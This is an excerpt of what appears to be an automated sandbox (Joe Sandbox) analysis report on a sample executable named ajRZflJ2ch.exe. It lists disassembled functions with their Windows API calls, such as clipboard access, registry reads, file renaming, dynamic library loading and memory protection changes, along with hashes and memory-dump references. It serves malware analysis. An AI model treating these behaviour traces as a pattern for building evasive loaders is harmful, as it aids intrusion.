Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Function 70132993 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(7013505C,00000004,00000040,7013504C), ref: 701329B1

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d3165fbbec0d006079734de93e1d6276bfd3f71314a7d53f31b720ff25224e22
Instruction ID: 83932c6f33cca6c4db4cd0114fbe8f06f28e872d0e7c7a9ba86beb3ad326c533
Opcode Fuzzy Hash: d3165fbbec0d006079734de93e1d6276bfd3f71314a7d53f31b720ff25224e22
Instruction Fuzzy Hash: 43F0A5B2608280DEC358CF2A8CA4709FFE0B708B18F70496AF188D6A60E3764448CF95

Function 00406255 Relevance: 1.5, APIs: 1, Instructions: 19registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422708,?,?,004062E3,00422708,00000000,?,?,Call,?), ref: 00406279

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction ID: 7481b87947078d819ae160a747d33610cb99cd3c2235475b1dc937127606ac98
Opcode Fuzzy Hash: a8e94fdf895113144ef30ac0413fc9f69bed743b5e5124c6f76e238eb3875bc5
Instruction Fuzzy Hash: C1D0123210420DBBDF11AE90DD01FAB372DAF14714F114826FE06A4091D775D530AB14

Function 0040345D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction ID: c7266a3154837caca095f11e7777f6dda2278cbf6cff4ee7664d3894fc3aa091
Opcode Fuzzy Hash: d5a77a7b91dde00220c09aa0a832f43c90240fc94845358d4caa889c1b96a79f
Instruction Fuzzy Hash: ECB01271240300BFDA214F00DF09F057B21AB90700F10C034B348380F086711035EB0D

Function 00404394 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,?,004041BF), ref: 004043A2

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction ID: e4171d0a4592585bcf4a2ca6fb2eaed9aff33c093be5cb9cf1e9125a9c9e1139
Opcode Fuzzy Hash: bd7e8dc2c5871e064c502d82a01b6574672f0de651032f207fd53ed2aa40cebc
Instruction Fuzzy Hash: 0EB09235290600ABDE214B40DE49F457A62E7A4701F008178B240640B0CAB200A1DB19

Function 7013121B Relevance: 1.3, APIs: 1, Instructions: 6memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000040,?,7013123B,?,701312DF,00000019,701311BE,-000000A0), ref: 70131225

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 4f9b44644f616106725d7f58921a95b161787b0feda8899ca46587a4614aa13f
Instruction ID: 06583eb1bac62918fb180ded35b145a01e0bc4a75295051c5f7443149412d418
Opcode Fuzzy Hash: 4f9b44644f616106725d7f58921a95b161787b0feda8899ca46587a4614aa13f
Instruction Fuzzy Hash: CBB01272B00000DFEF048B65CC06F347654E700701F244010F700C0590C16158008534

Non-executed Functions

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,?,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: 1d1f977673fe441afad02026140f53aaec566053b515a361d3c8f7f727d52ca3
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00404850 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(Call,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,Call), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00435000,00403480,C:\Users\user\AppData\Local\Temp\,75573420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,?,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

Call, xrefs: 004049B1, 004049B6, 004049C1
(7B, xrefs: 0040494D
A, xrefs: 00404973

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A$Call
API String ID: 2624150263-413618503
Opcode ID: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: 60ed21fe2f328070877fcf4fb1291f079d9e461e65f212612ce38389da6d49e8
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 70131B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 7013121B: GlobalAlloc.KERNELBASE(00000040,?,7013123B,?,701312DF,00000019,701311BE,-000000A0), ref: 70131225

GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 70131C6B
lstrcpyW.KERNEL32(00000008,?), ref: 70131CB3
lstrcpyW.KERNEL32(00000808,?), ref: 70131CBD
GlobalFree.KERNEL32(00000000), ref: 70131CD0
GlobalFree.KERNEL32(?), ref: 70131DB2
GlobalFree.KERNEL32(?), ref: 70131DB7
GlobalFree.KERNEL32(?), ref: 70131DBC
GlobalFree.KERNEL32(00000000), ref: 70131FA6
lstrcpyW.KERNEL32(?,?), ref: 70132140
GetModuleHandleW.KERNEL32(00000008), ref: 701321B5
LoadLibraryW.KERNEL32(00000008), ref: 701321C6
GetProcAddress.KERNEL32(?,?), ref: 70132220
lstrlenW.KERNEL32(00000808), ref: 7013223A

Memory Dump Source

Source File: 00000000.00000002.2274084322.0000000070131000.00000020.00000001.01000000.00000004.sdmp, Offset: 70130000, based on PE: true

Associated: 00000000.00000002.2273940310.0000000070130000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274182585.0000000070134000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2274265618.0000000070136000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70130000_ajRZflJ2ch.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: fa3c3ea0ee5d030bace19f789ffdac8e33f8bf73b1128b7f9c456312fdd34431
Instruction ID: 147407af022e78acae9b99ffaf00773b6bfb98fef1778cf85a6173ad1f53553f
Opcode Fuzzy Hash: fa3c3ea0ee5d030bace19f789ffdac8e33f8bf73b1128b7f9c456312fdd34431
Instruction Fuzzy Hash: 7C22BC71D00206DFCB26DFA4C9846EEFBF9FB05315FA2456EE166E3680D7B05A848B50

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,?,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction ID: a370b0fa9b2e606d6813e98b4c017b265e4ea8c47d708310f479c561ceb58c7b
Opcode Fuzzy Hash: 4630f11a642d4e3ef4f98d2454dc0e8d663bfbe8c95ddff176ede1b1d5b4d77b
Instruction Fuzzy Hash: 80414A71A00208AFCF04DFE4C988A9D7BB5FF48314B24457AF915EB2E1DBB99981CB54

Function 00402868 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402877

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction ID: e6f127318fd58302517648c6e406f49d0db104963aa8d987e753e5cb7f87edca
Opcode Fuzzy Hash: 6fd2962910cdf18594a7907c322fc030c9e7a26b232b9d9b5d327205302d7dac
Instruction Fuzzy Hash: EDF08271A14104EBDB10DBA4DA499AEB378EF14314F60467BF545F21E0DBB45D809B2A

Function 0040451E Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,?,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

Call, xrefs: 004046FB
N, xrefs: 004046BA

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ajRZflJ2ch.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\ajRZflJ2ch.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000000.00000002.2231704701.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2231593250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231752737.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2231799800.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2232351931.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

